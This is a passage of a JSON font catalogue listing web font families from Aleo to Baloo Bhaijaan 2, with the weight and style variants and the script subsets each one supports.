Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Aleo":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Alex Brush":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Alfa Slab One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Alice":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Alike":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Alike Angular":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Allan":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Allerta":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Allerta Stencil":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Allison":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Allura":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Almarai":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"arabic","name":"Arabic"}]},"Almendra":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Almendra Display":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Almendra SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Alumni Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Alumni Sans Inline One":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Amarante":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Amaranth":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Amatic SC":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Amethysta":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Amiko":{"variants":[{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Amiri":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Amita":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Anaheim":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Andada Pro":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Andika":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Andika New Basic":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Anek Bangla":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"bengali","name":"Bengali"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Anek Devanagari":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Anek Gujarati":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Anek Gurmukhi":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"gurmukhi","name":"Gurmukhi"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Anek Kannada":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"kannada","name":"Kannada"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Anek Latin":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Anek Malayalam":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"malayalam","name":"Malayalam"}]},"Anek Odia":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"oriya","name":"Oriya"}]},"Anek Tamil":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"}]},"Anek Telugu":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"telugu","name":"Telugu"}]},"Angkor":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Annie Use Your Telescope":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Anonymous Pro":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Antic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Antic Didone":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Antic Slab":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Anton":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Antonio":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Anybody":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Arapey":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Arbutus":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Arbutus Slab":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Architects Daughter":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Archivo":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Archivo Black":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Archivo Narrow":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Are You Serious":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Aref Ruqaa":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Arima Madurai":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"},{"id":"vietnamese","name":"Vietnamese"}]},"Arimo":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Arizonia":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Armata":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Arsenal":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Artifika":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Arvo":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Arya":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Asap":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Asap Condensed":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Asar":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Asset":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Assistant":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Astloch":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Asul":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Athiti":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Atkinson Hyperlegible":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Atma":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"bengali","name":"Bengali"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Atomic Age":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Aubrey":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Audiowide":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Autour One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Average":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Average Sans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Averia Gruesa Libre":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Averia Libre":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Averia Sans Libre":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Averia Serif Libre":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Azeret Mono":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"B612":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"B612 Mono":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"BIZ UDGothic":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek-ext","name":"Greek Extended"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"BIZ UDMincho":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek-ext","name":"Greek Extended"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"BIZ UDPGothic":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek-ext","name":"Greek Extended"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"BIZ UDPMincho":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek-ext","name":"Greek Extended"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Babylonica":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bad Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"}]},"Bahiana":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Bahianita":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bai Jamjuree":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Bakbak One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ballet":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo Bhai 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo Bhaijaan 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin 